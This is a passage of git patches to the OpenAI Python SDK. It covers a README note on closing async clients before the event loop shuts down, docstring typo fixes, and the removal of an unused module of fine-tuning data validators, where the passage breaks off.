Traceback (most recent call last):\n File \"/usr/local/lib/python3.9/dist-packages/httpx/_client.py\", line 1985, in aclose\n await self._transport.aclose()\n File \"/usr/local/lib/python3.9/dist-packages/httpx/_transports/default.py\", line 406, in aclose\n await self._pool.aclose()\n File \"/usr/local/lib/python3.9/dist-packages/httpcore/_async/connection_pool.py\", line 353, in aclose\n await self._close_connections(closing_connections)\n File \"/usr/local/lib/python3.9/dist-packages/httpcore/_async/connection_pool.py\", line 345, in _close_connections\n await connection.aclose()\n File \"/usr/local/lib/python3.9/dist-packages/httpcore/_async/connection.py\", line 173, in aclose\n await self._connection.aclose()\n File \"/usr/local/lib/python3.9/dist-packages/httpcore/_async/http11.py\", line 258, in aclose\n await self._network_stream.aclose()\n File \"/usr/local/lib/python3.9/dist-packages/httpcore/_backends/anyio.py\", line 53, in aclose\n await self._stream.aclose()\n File \"/usr/local/lib/python3.9/dist-packages/anyio/_backends/_asyncio.py\", line 1314, in aclose\n self._transport.close()\n File \"/usr/lib/python3.9/asyncio/selector_events.py\", line 698, in close\n self._loop.call_soon(self._call_connection_lost, None)\n File \"/usr/lib/python3.9/asyncio/base_events.py\", line 751, in call_soon\n self._check_closed()\n File \"/usr/lib/python3.9/asyncio/base_events.py\", line 515, in _check_closed\n raise RuntimeError('Event loop is closed')\nRuntimeError: Event loop is closed\n
```
which indicated that the event loop was being closed before we could
close the client. Concurrently, we saw degraded performance. When we
switched to `with` blocks for resource management, the problem went away
(PR - https://github.com/apache/beam/pull/35053/files). I seems like
relying on normal garbage collection calling
https://github.com/openai/openai-python/blob/f588695f77aad9279a355f5f483d8debf92b46ed/src/openai/_base_client.py#L1318C21-L1318C37
can cause a meaningful performance issue because the event loop can be
destroyed before the client cleanup finishes.
Its not clear to me if the slowness was caused by:
1) Overhead associated with trying to call a closed event loop
2) Actually failing to close the connections
Regardless, it would be nice to doc this since switching clients did not
work without some minor changes.
---------
Co-authored-by: Marcus Wood
---
README.md | 19 +++++++++++++++++++
1 file changed, 19 insertions(+)
diff --git a/README.md b/README.md
index b2f3bbd536..40ad4c1ae6 100644
--- a/README.md
+++ b/README.md
@@ -1072,6 +1072,25 @@ with OpenAI() as client:
# HTTP client is now closed
```
+For `AsyncOpenAI`, use `async with` or `await client.close()` before shutting down
+the event loop. Garbage collection cannot reliably await asynchronous cleanup.
+
+```py
+import asyncio
+from openai import AsyncOpenAI
+
+
+async def main() -> None:
+ async with AsyncOpenAI() as client:
+ response = await client.responses.create(
+ model="gpt-5.5", input="Say this is a test"
+ )
+ print(response.output_text)
+
+
+asyncio.run(main())
+```
+
## Microsoft Azure OpenAI
To use this library with [Azure OpenAI](https://learn.microsoft.com/azure/ai-services/openai/overview), use the `AzureOpenAI`
From 8cb9dedabd03297816749fcadfa12ef3ebcd3ed8 Mon Sep 17 00:00:00 2001
From: Marcel Petrick
Date: Tue, 15 Sep 2026 18:15:55 +0000
Subject: [PATCH 147/341] docs: fix Realtime docstring wording (#3535)
Non-functional changes only:
- Fixed minor spelling mistakes in comments
- Corrected typos in user-facing strings
- No variables, logic, or functional code was modified.
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Integrate the typo-fixes.
## Additional context & links
None.
Signed-off-by: Marcel Petrick
Co-authored-by: Marcus Wood
---
.../conversation_item_input_audio_transcription_delta_event.py | 2 +-
src/openai/types/realtime/realtime_error_event.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/openai/types/realtime/conversation_item_input_audio_transcription_delta_event.py b/src/openai/types/realtime/conversation_item_input_audio_transcription_delta_event.py
index 73d15e2271..6e528de19d 100644
--- a/src/openai/types/realtime/conversation_item_input_audio_transcription_delta_event.py
+++ b/src/openai/types/realtime/conversation_item_input_audio_transcription_delta_event.py
@@ -32,7 +32,7 @@ class ConversationItemInputAudioTranscriptionDeltaEvent(BaseModel):
logprobs: Optional[List[LogProbProperties]] = None
"""The log probabilities of the transcription.
- These can be enabled by configurating the session with
+ These can be enabled by configuring the session with
`"include": ["item.input_audio_transcription.logprobs"]`. Each entry in the
array corresponds a log probability of which token would be selected for this
chunk of transcription. This can help to identify if it was possible there were
diff --git a/src/openai/types/realtime/realtime_error_event.py b/src/openai/types/realtime/realtime_error_event.py
index e9b6933df1..1cd8636d0b 100644
--- a/src/openai/types/realtime/realtime_error_event.py
+++ b/src/openai/types/realtime/realtime_error_event.py
@@ -12,7 +12,7 @@ class RealtimeErrorEvent(BaseModel):
"""
Returned when an error occurs, which could be a client problem or a server
problem. Most errors are recoverable and the session will stay open, we
- recommend to implementors to monitor and log error messages by default.
+ recommend to implementers to monitor and log error messages by default.
"""
error: RealtimeError
From 9640f2903d65c43f0e5aee58d60f46880ff0bd15 Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Tue, 15 Sep 2026 19:37:00 +0000
Subject: [PATCH 148/341] chore: remove unused fine-tuning data validators
(#3863)
Removes the unused fine-tuning data validators left behind when the
legacy CLI was removed. Deletes 809 lines; there are no remaining
callers or associated tests.
Validation: 217 tests passed, 2 skipped; all 13,122 tests collect. Ruff
lint, mypy, SDK imports, and wheel/sdist builds pass using the existing
frozen dependencies. The format check flags two unchanged files.
---
src/openai/lib/_validators.py | 809 ----------------------------------
1 file changed, 809 deletions(-)
delete mode 100644 src/openai/lib/_validators.py
diff --git a/src/openai/lib/_validators.py b/src/openai/lib/_validators.py
deleted file mode 100644
index cf24cd2294..0000000000
--- a/src/openai/lib/_validators.py
+++ /dev/null
@@ -1,809 +0,0 @@
-# pyright: basic
-from __future__ import annotations
-
-import os
-import sys
-from typing import Any, TypeVar, Callable, Optional, NamedTuple
-from typing_extensions import TypeAlias
-
-from .._extras import pandas as pd
-
-
-class Remediation(NamedTuple):
- name: str
- immediate_msg: Optional[str] = None
- necessary_msg: Optional[str] = None
- necessary_fn: Optional[Callable[[Any], Any]] = None
- optional_msg: Optional[str] = None
- optional_fn: Optional[Callable[[Any], Any]] = None
- error_msg: Optional[str] = None
-
-
-OptionalDataFrameT = TypeVar("OptionalDataFrameT", bound="Optional[pd.DataFrame]")
-
-
-def num_examples_validator(df: pd.DataFrame) -> Remediation:
- """
- This validator will only print out the number of examples and recommend to the user to increase the number of examples if less than 100.
- """
- MIN_EXAMPLES = 100
- optional_suggestion = (
- ""
- if len(df) >= MIN_EXAMPLES
- else ". In general, we recommend having at least a few hundred examples. We've found that performance tends to linearly increase for every doubling of the number of examples"
- )
- immediate_msg = f"\n- Your file contains {len(df)} prompt-completion pairs{optional_suggestion}"
- return Remediation(name="num_examples", immediate_msg=immediate_msg)
-
-
-def necessary_column_validator(df: pd.DataFrame, necessary_column: str) -> Remediation:
- """
- This validator will ensure that the necessary column is present in the dataframe.
- """
-
- def lower_case_column(df: pd.DataFrame, column: Any) -> pd.DataFrame:
- cols = [c for c in df.columns if str(c).lower() == column]
- df.rename(columns={cols[0]: column.lower()}, inplace=True)
- return df
-
- immediate_msg = None
- necessary_fn = None
- necessary_msg = None
- error_msg = None
-
- if necessary_column not in df.columns:
- if necessary_column in [str(c).lower() for c in df.columns]:
-
- def lower_case_column_creator(df: pd.DataFrame) -> pd.DataFrame:
- return lower_case_column(df, necessary_column)
-
- necessary_fn = lower_case_column_creator
- immediate_msg = f"\n- The `{necessary_column}` column/key should be lowercase"
- necessary_msg = f"Lower case column name to `{necessary_column}`"
- else:
- error_msg = f"`{necessary_column}` column/key is missing. Please make sure you name your columns/keys appropriately, then retry"
-
- return Remediation(
- name="necessary_column",
- immediate_msg=immediate_msg,
- necessary_msg=necessary_msg,
- necessary_fn=necessary_fn,
- error_msg=error_msg,
- )
-
-
-def additional_column_validator(df: pd.DataFrame, fields: list[str] = ["prompt", "completion"]) -> Remediation:
- """
- This validator will remove additional columns from the dataframe.
- """
- additional_columns = []
- necessary_msg = None
- immediate_msg = None
- necessary_fn = None # type: ignore
-
- if len(df.columns) > 2:
- additional_columns = [c for c in df.columns if c not in fields]
- warn_message = ""
- for ac in additional_columns:
- dups = [c for c in additional_columns if ac in c]
- if len(dups) > 0:
- warn_message += f"\n WARNING: Some of the additional columns/keys contain `{ac}` in their name. These will be ignored, and the column/key `{ac}` will be used instead. This could also result from a duplicate column/key in the provided file."
- immediate_msg = f"\n- The input file should contain exactly two columns/keys per row. Additional columns/keys present are: {additional_columns}{warn_message}"
- necessary_msg = f"Remove additional columns/keys: {additional_columns}"
-
- def necessary_fn(x: Any) -> Any:
- return x[fields]
-
- return Remediation(
- name="additional_column",
- immediate_msg=immediate_msg,
- necessary_msg=necessary_msg,
- necessary_fn=necessary_fn,
- )
-
-
-def non_empty_field_validator(df: pd.DataFrame, field: str = "completion") -> Remediation:
- """
- This validator will ensure that no completion is empty.
- """
- necessary_msg = None
- necessary_fn = None # type: ignore
- immediate_msg = None
-
- if df[field].apply(lambda x: x == "").any() or df[field].isnull().any():
- empty_rows = (df[field] == "") | (df[field].isnull())
- empty_indexes = df.reset_index().index[empty_rows].tolist()
- immediate_msg = f"\n- `{field}` column/key should not contain empty strings. These are rows: {empty_indexes}"
-
- def necessary_fn(x: Any) -> Any:
- return x[x[field] != ""].dropna(subset=[field])
-
- necessary_msg = f"Remove {len(empty_indexes)} rows with empty {field}s"
-
- return Remediation(
- name=f"empty_{field}",
- immediate_msg=immediate_msg,
- necessary_msg=necessary_msg,
- necessary_fn=necessary_fn,
- )
-
-
-def duplicated_rows_validator(df: pd.DataFrame, fields: list[str] = ["prompt", "completion"]) -> Remediation:
- """
- This validator will suggest to the user to remove duplicate rows if they exist.
- """
- duplicated_rows = df.duplicated(subset=fields)
- duplicated_indexes = df.reset_index().index[duplicated_rows].tolist()
- immediate_msg = None
- optional_msg = None
- optional_fn = None # type: ignore
-
- if len(duplicated_indexes) > 0:
- immediate_msg = f"\n- There are {len(duplicated_indexes)} duplicated {'-'.join(fields)} sets. These are rows: {duplicated_indexes}"
- optional_msg = f"Remove {len(duplicated_indexes)} duplicate rows"
-
- def optional_fn(x: Any) -> Any:
- return x.drop_duplicates(subset=fields)
-
- return Remediation(
- name="duplicated_rows",
- immediate_msg=immediate_msg,
- optional_msg=optional_msg,
- optional_fn=optional_fn,
- )
-
-
-def long_examples_validator(df: pd.DataFrame) -> Remediation:
- """
- This validator will suggest to the user to remove examples that are too long.
- """
- immediate_msg = None
- optional_msg = None
- optional_fn = None # type: ignore
-
- ft_type = infer_task_type(df)
- if ft_type != "open-ended generation":
-
- def get_long_indexes(d: pd.DataFrame) -> Any:
- long_examples = d.apply(lambda x: len(x.prompt) + len(x.completion) > 10000, axis=1)
- return d.reset_index().index[long_examples].tolist()
-
- long_indexes = get_long_indexes(df)
-
- if len(long_indexes) > 0:
- immediate_msg = f"\n- There are {len(long_indexes)} examples that are very long. These are rows: {long_indexes}\nFor conditional generation, and for classification the examples shouldn't be longer than 2048 tokens."
- optional_msg = f"Remove {len(long_indexes)} long examples"
-
- def optional_fn(x: Any) -> Any:
- long_indexes_to_drop = get_long_indexes(x)
- if long_indexes != long_indexes_to_drop:
- sys.stdout.write(
- f"The indices of the long examples has changed as a result of a previously applied recommendation.\nThe {len(long_indexes_to_drop)} long examples to be dropped are now at the following indices: {long_indexes_to_drop}\n"
- )
- return x.drop(long_indexes_to_drop)
-
- return Remediation(
- name="long_examples",
- immediate_msg=immediate_msg,
- optional_msg=optional_msg,
- optional_fn=optional_fn,
- )
-
-
-def common_prompt_suffix_validator(df: pd.DataFrame) -> Remediation:
- """
- This validator will suggest to add a common suffix to the prompt if one doesn't already exist in case of classification or conditional generation.
- """
- error_msg = None
- immediate_msg = None
- optional_msg = None
- optional_fn = None # type: ignore
-
- # Find a suffix which is not contained within the prompt otherwise
- suggested_suffix = "\n\n### =>\n\n"
- suffix_options = [
- " ->",
- "\n\n###\n\n",
- "\n\n===\n\n",
- "\n\n---\n\n",
- "\n\n===>\n\n",
- "\n\n--->\n\n",
- ]
- for suffix_option in suffix_options:
- if suffix_option == " ->":
- if df.prompt.str.contains("\n").any():
- continue
- if df.prompt.str.contains(suffix_option, regex=False).any():
- continue
- suggested_suffix = suffix_option
- break
- display_suggested_suffix = suggested_suffix.replace("\n", "\\n")
-
- ft_type = infer_task_type(df)
- if ft_type == "open-ended generation":
- return Remediation(name="common_suffix")
-
- def add_suffix(x: Any, suffix: Any) -> Any:
- x["prompt"] += suffix
- return x
-
- common_suffix = get_common_xfix(df.prompt, xfix="suffix")
- if (df.prompt == common_suffix).all():
- error_msg = f"All prompts are identical: `{common_suffix}`\nConsider leaving the prompts blank if you want to do open-ended generation, otherwise ensure prompts are different"
- return Remediation(name="common_suffix", error_msg=error_msg)
-
- if common_suffix != "":
- common_suffix_new_line_handled = common_suffix.replace("\n", "\\n")
- immediate_msg = f"\n- All prompts end with suffix `{common_suffix_new_line_handled}`"
- if len(common_suffix) > 10:
- immediate_msg += f". This suffix seems very long. Consider replacing with a shorter suffix, such as `{display_suggested_suffix}`"
- if df.prompt.str[: -len(common_suffix)].str.contains(common_suffix, regex=False).any():
- immediate_msg += f"\n WARNING: Some of your prompts contain the suffix `{common_suffix}` more than once. We strongly suggest that you review your prompts and add a unique suffix"
-
- else:
- immediate_msg = "\n- Your data does not contain a common separator at the end of your prompts. Having a separator string appended to the end of the prompt makes it clearer to the fine-tuned model where the completion should begin. See https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset for more detail and examples. If you intend to do open-ended generation, then you should leave the prompts empty"
-
- if common_suffix == "":
- optional_msg = f"Add a suffix separator `{display_suggested_suffix}` to all prompts"
-
- def optional_fn(x: Any) -> Any:
- return add_suffix(x, suggested_suffix)
-
- return Remediation(
- name="common_completion_suffix",
- immediate_msg=immediate_msg,
- optional_msg=optional_msg,
- optional_fn=optional_fn,
- error_msg=error_msg,
- )
-
-
-def common_prompt_prefix_validator(df: pd.DataFrame) -> Remediation:
- """
- This validator will suggest to remove a common prefix from the prompt if a long one exist.
- """
- MAX_PREFIX_LEN = 12
-
- immediate_msg = None
- optional_msg = None
- optional_fn = None # type: ignore
-
- common_prefix = get_common_xfix(df.prompt, xfix="prefix")
- if common_prefix == "":
- return Remediation(name="common_prefix")
-
- def remove_common_prefix(x: Any, prefix: Any) -> Any:
- x["prompt"] = x["prompt"].str[len(prefix) :]
- return x
-
- if (df.prompt == common_prefix).all():
- # already handled by common_suffix_validator
- return Remediation(name="common_prefix")
-
- if common_prefix != "":
- immediate_msg = f"\n- All prompts start with prefix `{common_prefix}`"
- if MAX_PREFIX_LEN < len(common_prefix):
- immediate_msg += ". Fine-tuning doesn't require the instruction specifying the task, or a few-shot example scenario. Most of the time you should only add the input data into the prompt, and the desired output into the completion"
- optional_msg = f"Remove prefix `{common_prefix}` from all prompts"
-
- def optional_fn(x: Any) -> Any:
- return remove_common_prefix(x, common_prefix)
-
- return Remediation(
- name="common_prompt_prefix",
- immediate_msg=immediate_msg,
- optional_msg=optional_msg,
- optional_fn=optional_fn,
- )
-
-
-def common_completion_prefix_validator(df: pd.DataFrame) -> Remediation:
- """
- This validator will suggest to remove a common prefix from the completion if a long one exist.
- """
- MAX_PREFIX_LEN = 5
-
- common_prefix = get_common_xfix(df.completion, xfix="prefix")
- ws_prefix = len(common_prefix) > 0 and common_prefix[0] == " "
- if len(common_prefix) < MAX_PREFIX_LEN:
- return Remediation(name="common_prefix")
-
- def remove_common_prefix(x: Any, prefix: Any, ws_prefix: Any) -> Any:
- x["completion"] = x["completion"].str[len(prefix) :]
- if ws_prefix:
- # keep the single whitespace as prefix
- x["completion"] = f" {x['completion']}"
- return x
-
- if (df.completion == common_prefix).all():
- # already handled by common_suffix_validator
- return Remediation(name="common_prefix")
-
- immediate_msg = f"\n- All completions start with prefix `{common_prefix}`. Most of the time you should only add the output data into the completion, without any prefix"
- optional_msg = f"Remove prefix `{common_prefix}` from all completions"
-
- def optional_fn(x: Any) -> Any:
- return remove_common_prefix(x, common_prefix, ws_prefix)
-
- return Remediation(
- name="common_completion_prefix",
- immediate_msg=immediate_msg,
- optional_msg=optional_msg,
- optional_fn=optional_fn,
- )
-
-
-def common_completion_suffix_validator(df: pd.DataFrame) -> Remediation:
- """
- This validator will suggest to add a common suffix to the completion if one doesn't already exist in case of classification or conditional generation.
- """
- error_msg = None
- immediate_msg = None
- optional_msg = None
- optional_fn = None # type: ignore
-
- ft_type = infer_task_type(df)
- if ft_type == "open-ended generation" or ft_type == "classification":
- return Remediation(name="common_suffix")
-
- common_suffix = get_common_xfix(df.completion, xfix="suffix")
- if (df.completion == common_suffix).all():
- error_msg = f"All completions are identical: `{common_suffix}`\nEnsure completions are different, otherwise the model will just repeat `{common_suffix}`"
- return Remediation(name="common_suffix", error_msg=error_msg)
-
- # Find a suffix which is not contained within the completion otherwise
- suggested_suffix = " [END]"
- suffix_options = [
- "\n",
- ".",
- " END",
- "***",
- "+++",
- "&&&",
- "$$$",
- "@@@",
- "%%%",
- ]
- for suffix_option in suffix_options:
- if df.completion.str.contains(suffix_option, regex=False).any():
- continue
- suggested_suffix = suffix_option
- break
- display_suggested_suffix = suggested_suffix.replace("\n", "\\n")
-
- def add_suffix(x: Any, suffix: Any) -> Any:
- x["completion"] += suffix
- return x
-
- if common_suffix != "":
- common_suffix_new_line_handled = common_suffix.replace("\n", "\\n")
- immediate_msg = f"\n- All completions end with suffix `{common_suffix_new_line_handled}`"
- if len(common_suffix) > 10:
- immediate_msg += f". This suffix seems very long. Consider replacing with a shorter suffix, such as `{display_suggested_suffix}`"
- if df.completion.str[: -len(common_suffix)].str.contains(common_suffix, regex=False).any():
- immediate_msg += f"\n WARNING: Some of your completions contain the suffix `{common_suffix}` more than once. We suggest that you review your completions and add a unique ending"
-
- else:
- immediate_msg = "\n- Your data does not contain a common ending at the end of your completions. Having a common ending string appended to the end of the completion makes it clearer to the fine-tuned model where the completion should end. See https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset for more detail and examples."
-
- if common_suffix == "":
- optional_msg = f"Add a suffix ending `{display_suggested_suffix}` to all completions"
-
- def optional_fn(x: Any) -> Any:
- return add_suffix(x, suggested_suffix)
-
- return Remediation(
- name="common_completion_suffix",
- immediate_msg=immediate_msg,
- optional_msg=optional_msg,
- optional_fn=optional_fn,
- error_msg=error_msg,
- )
-
-
-def completions_space_start_validator(df: pd.DataFrame) -> Remediation:
- """
- This validator will suggest to add a space at the start of the completion if it doesn't already exist. This helps with tokenization.
- """
-
- def add_space_start(x: Any) -> Any:
- x["completion"] = x["completion"].apply(lambda s: ("" if s.startswith(" ") else " ") + s)
- return x
-
- optional_msg = None
- optional_fn = None
- immediate_msg = None
-
- if df.completion.str[:1].nunique() != 1 or df.completion.values[0][0] != " ":
- immediate_msg = "\n- The completion should start with a whitespace character (` `). This tends to produce better results due to the tokenization we use. See https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset for more details"
- optional_msg = "Add a whitespace character to the beginning of the completion"
- optional_fn = add_space_start
- return Remediation(
- name="completion_space_start",
- immediate_msg=immediate_msg,
- optional_msg=optional_msg,
- optional_fn=optional_fn,
- )
-
-
-def lower_case_validator(df: pd.DataFrame, column: Any) -> Remediation | None:
- """
- This validator will suggest to lowercase the column values, if more than a third of letters are uppercase.
- """
-
- def lower_case(x: Any) -> Any:
- x[column] = x[column].str.lower()
- return x
-
- count_upper = df[column].apply(lambda x: sum(1 for c in x if c.isalpha() and c.isupper())).sum()
- count_lower = df[column].apply(lambda x: sum(1 for c in x if c.isalpha() and c.islower())).sum()
-
- if count_upper * 2 > count_lower:
- return Remediation(
- name="lower_case",
- immediate_msg=f"\n- More than a third of your `{column}` column/key is uppercase. Uppercase {column}s tends to perform worse than a mixture of case encountered in normal language. We recommend to lower case the data if that makes sense in your domain. See https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset for more details",
- optional_msg=f"Lowercase all your data in column/key `{column}`",
- optional_fn=lower_case,
- )
- return None
-
-
-def read_any_format(
- fname: str, fields: list[str] = ["prompt", "completion"]
-) -> tuple[pd.DataFrame | None, Remediation]:
- """
- This function will read a file saved in .csv, .json, .txt, .xlsx or .tsv format using pandas.
- - for .xlsx it will read the first sheet
- - for .txt it will assume completions and split on newline
- """
- remediation = None
- necessary_msg = None
- immediate_msg = None
- error_msg = None
- df = None
-
- if os.path.isfile(fname):
- try:
- if fname.lower().endswith(".csv") or fname.lower().endswith(".tsv"):
- file_extension_str, separator = ("CSV", ",") if fname.lower().endswith(".csv") else ("TSV", "\t")
- immediate_msg = (
- f"\n- Based on your file extension, your file is formatted as a {file_extension_str} file"
- )
- necessary_msg = f"Your format `{file_extension_str}` will be converted to `JSONL`"
- df = pd.read_csv(fname, sep=separator, dtype=str).fillna("")
- elif fname.lower().endswith(".xlsx"):
- immediate_msg = "\n- Based on your file extension, your file is formatted as an Excel file"
- necessary_msg = "Your format `XLSX` will be converted to `JSONL`"
- xls = pd.ExcelFile(fname)
- sheets = xls.sheet_names
- if len(sheets) > 1:
- immediate_msg += "\n- Your Excel file contains more than one sheet. Please either save as csv or ensure all data is present in the first sheet. WARNING: Reading only the first sheet..."
- df = pd.read_excel(fname, dtype=str).fillna("")
- elif fname.lower().endswith(".txt"):
- immediate_msg = "\n- Based on your file extension, you provided a text file"
- necessary_msg = "Your format `TXT` will be converted to `JSONL`"
- with open(fname, "r") as f:
- content = f.read()
- df = pd.DataFrame(
- [["", line] for line in content.split("\n")],
- columns=fields,
- dtype=str,
- ).fillna("")
- elif fname.lower().endswith(".jsonl"):
- df = pd.read_json(fname, lines=True, dtype=str).fillna("") # type: ignore
- if len(df) == 1: # type: ignore
- # this is NOT what we expect for a .jsonl file
- immediate_msg = "\n- Your JSONL file appears to be in a JSON format. Your file will be converted to JSONL format"
- necessary_msg = "Your format `JSON` will be converted to `JSONL`"
- df = pd.read_json(fname, dtype=str).fillna("") # type: ignore
- else:
- pass # this is what we expect for a .jsonl file
- elif fname.lower().endswith(".json"):
- try:
- # to handle case where .json file is actually a .jsonl file
- df = pd.read_json(fname, lines=True, dtype=str).fillna("") # type: ignore
- if len(df) == 1: # type: ignore
- # this code path corresponds to a .json file that has one line
- df = pd.read_json(fname, dtype=str).fillna("") # type: ignore
- else:
- # this is NOT what we expect for a .json file
- immediate_msg = "\n- Your JSON file appears to be in a JSONL format. Your file will be converted to JSONL format"
- necessary_msg = "Your format `JSON` will be converted to `JSONL`"
- except ValueError:
- # this code path corresponds to a .json file that has multiple lines (i.e. it is indented)
- df = pd.read_json(fname, dtype=str).fillna("") # type: ignore
- else:
- error_msg = (
- "Your file must have one of the following extensions: .CSV, .TSV, .XLSX, .TXT, .JSON or .JSONL"
- )
- if "." in fname:
- error_msg += f" Your file `{fname}` ends with the extension `.{fname.split('.')[-1]}` which is not supported."
- else:
- error_msg += f" Your file `{fname}` is missing a file extension."
-
- except (ValueError, TypeError):
- file_extension_str = fname.split(".")[-1].upper()
- error_msg = f"Your file `{fname}` does not appear to be in valid {file_extension_str} format. Please ensure your file is formatted as a valid {file_extension_str} file."
-
- else:
- error_msg = f"File {fname} does not exist."
-
- remediation = Remediation(
- name="read_any_format",
- necessary_msg=necessary_msg,
- immediate_msg=immediate_msg,
- error_msg=error_msg,
- )
- return df, remediation
-
-
-def format_inferrer_validator(df: pd.DataFrame) -> Remediation:
- """
- This validator will infer the likely fine-tuning format of the data, and display it to the user if it is classification.
- It will also suggest to use ada and explain train/validation split benefits.
- """
- ft_type = infer_task_type(df)
- immediate_msg = None
- if ft_type == "classification":
- immediate_msg = f"\n- Based on your data it seems like you're trying to fine-tune a model for {ft_type}\n- For classification, we recommend you try one of the faster and cheaper models, such as `ada`\n- For classification, you can estimate the expected model performance by keeping a held out dataset, which is not used for training"
- return Remediation(name="num_examples", immediate_msg=immediate_msg)
-
-
-def apply_necessary_remediation(df: OptionalDataFrameT, remediation: Remediation) -> OptionalDataFrameT:
- """
- This function will apply a necessary remediation to a dataframe, or print an error message if one exists.
- """
- if remediation.error_msg is not None:
- sys.stderr.write(f"\n\nERROR in {remediation.name} validator: {remediation.error_msg}\n\nAborting...")
- sys.exit(1)
- if remediation.immediate_msg is not None:
- sys.stdout.write(remediation.immediate_msg)
- if remediation.necessary_fn is not None:
- df = remediation.necessary_fn(df)
- return df
-
-
-def accept_suggestion(input_text: str, auto_accept: bool) -> bool:
- sys.stdout.write(input_text)
- if auto_accept:
- sys.stdout.write("Y\n")
- return True
- return input().lower() != "n"
-
-
-def apply_optional_remediation(
- df: pd.DataFrame, remediation: Remediation, auto_accept: bool
-) -> tuple[pd.DataFrame, bool]:
- """
- This function will apply an optional remediation to a dataframe, based on the user input.
- """
- optional_applied = False
- input_text = f"- [Recommended] {remediation.optional_msg} [Y/n]: "
- if remediation.optional_msg is not None:
- if accept_suggestion(input_text, auto_accept):
- assert remediation.optional_fn is not None
- df = remediation.optional_fn(df)
- optional_applied = True
- if remediation.necessary_msg is not None:
- sys.stdout.write(f"- [Necessary] {remediation.necessary_msg}\n")
- return df, optional_applied
-
-
-def estimate_fine_tuning_time(df: pd.DataFrame) -> None:
- """
- Estimate the time it'll take to fine-tune the dataset
- """
- ft_format = infer_task_type(df)
- expected_time = 1.0
- if ft_format == "classification":
- num_examples = len(df)
- expected_time = num_examples * 1.44
- else:
- size = df.memory_usage(index=True).sum()
- expected_time = size * 0.0515
-
- def format_time(time: float) -> str:
- if time < 60:
- return f"{round(time, 2)} seconds"
- elif time < 3600:
- return f"{round(time / 60, 2)} minutes"
- elif time < 86400:
- return f"{round(time / 3600, 2)} hours"
- else:
- return f"{round(time / 86400, 2)} days"
-
- time_string = format_time(expected_time + 140)
- sys.stdout.write(
- f"Once your model starts training, it'll approximately take {time_string} to train a `curie` model, and less for `ada` and `babbage`. Queue will approximately take half an hour per job ahead of you.\n"
- )
-
-
-def get_outfnames(fname: str, split: bool) -> list[str]:
- suffixes = ["_train", "_valid"] if split else [""]
- i = 0
- while True:
- index_suffix = f" ({i})" if i > 0 else ""
- candidate_fnames = [f"{os.path.splitext(fname)[0]}_prepared{suffix}{index_suffix}.jsonl" for suffix in suffixes]
- if not any(os.path.isfile(f) for f in candidate_fnames):
- return candidate_fnames
- i += 1
-
-
-def get_classification_hyperparams(df: pd.DataFrame) -> tuple[int, object]:
- n_classes = df.completion.nunique()
- pos_class = None
- if n_classes == 2:
- pos_class = df.completion.value_counts().index[0]
- return n_classes, pos_class
-
-
-def write_out_file(df: pd.DataFrame, fname: str, any_remediations: bool, auto_accept: bool) -> None:
- """
- This function will write out a dataframe to a file, if the user would like to proceed, and also offer a fine-tuning command with the newly created file.
- For classification it will optionally ask the user if they would like to split the data into train/valid files, and modify the suggested command to include the valid set.
- """
- ft_format = infer_task_type(df)
- common_prompt_suffix = get_common_xfix(df.prompt, xfix="suffix")
- common_completion_suffix = get_common_xfix(df.completion, xfix="suffix")
-
- split = False
- input_text = "- [Recommended] Would you like to split into training and validation set? [Y/n]: "
- if ft_format == "classification":
- if accept_suggestion(input_text, auto_accept):
- split = True
-
- additional_params = ""
- common_prompt_suffix_new_line_handled = common_prompt_suffix.replace("\n", "\\n")
- common_completion_suffix_new_line_handled = common_completion_suffix.replace("\n", "\\n")
- optional_ending_string = (
- f' Make sure to include `stop=["{common_completion_suffix_new_line_handled}"]` so that the generated texts ends at the expected place.'
- if len(common_completion_suffix_new_line_handled) > 0
- else ""
- )
-
- input_text = "\n\nYour data will be written to a new JSONL file. Proceed [Y/n]: "
-
- if not any_remediations and not split:
- sys.stdout.write(
- f'\nYou can use your file for fine-tuning:\n> openai api fine_tunes.create -t "{fname}"{additional_params}\n\nAfter you’ve fine-tuned a model, remember that your prompt has to end with the indicator string `{common_prompt_suffix_new_line_handled}` for the model to start generating completions, rather than continuing with the prompt.{optional_ending_string}\n'
- )
- estimate_fine_tuning_time(df)
-
- elif accept_suggestion(input_text, auto_accept):
- fnames = get_outfnames(fname, split)
- if split:
- assert len(fnames) == 2 and "train" in fnames[0] and "valid" in fnames[1]
- MAX_VALID_EXAMPLES = 1000
- n_train = max(len(df) - MAX_VALID_EXAMPLES, int(len(df) * 0.8))
- df_train = df.sample(n=n_train, random_state=42)
- df_valid = df.drop(df_train.index)
- df_train[["prompt", "completion"]].to_json( # type: ignore
- fnames[0], lines=True, orient="records", force_ascii=False, indent=None
- )
- df_valid[["prompt", "completion"]].to_json(
- fnames[1], lines=True, orient="records", force_ascii=False, indent=None
- )
-
- n_classes, pos_class = get_classification_hyperparams(df)
- additional_params += " --compute_classification_metrics"
- if n_classes == 2:
- additional_params += f' --classification_positive_class "{pos_class}"'
- else:
- additional_params += f" --classification_n_classes {n_classes}"
- else:
- assert len(fnames) == 1
- df[["prompt", "completion"]].to_json(
- fnames[0], lines=True, orient="records", force_ascii=False, indent=None
- )
-
- # Add -v VALID_FILE if we split the file into train / valid
- files_string = ("s" if split else "") + " to `" + ("` and `".join(fnames))
- valid_string = f' -v "{fnames[1]}"' if split else ""
- separator_reminder = (
- ""
- if len(common_prompt_suffix_new_line_handled) == 0
- else f"After you’ve fine-tuned a model, remember that your prompt has to end with the indicator string `{common_prompt_suffix_new_line_handled}` for the model to start generating completions, rather than continuing with the prompt."
- )
- sys.stdout.write(
- f'\nWrote modified file{files_string}`\nFeel free to take a look!\n\nNow use that file when fine-tuning:\n> openai api fine_tunes.create -t "{fnames[0]}"{valid_string}{additional_params}\n\n{separator_reminder}{optional_ending_string}\n'
- )
- estimate_fine_tuning_time(df)
- else:
- sys.stdout.write("Aborting... did not write the file\n")
-
-
-def infer_task_type(df: pd.DataFrame) -> str:
- """
- Infer the likely fine-tuning task type from the data
- """
- CLASSIFICATION_THRESHOLD = 3 # min_average instances of each class
- if sum(df.prompt.str.len()) == 0:
- return "open-ended generation"
-
- if len(df.completion.unique()) < len(df) / CLASSIFICATION_THRESHOLD:
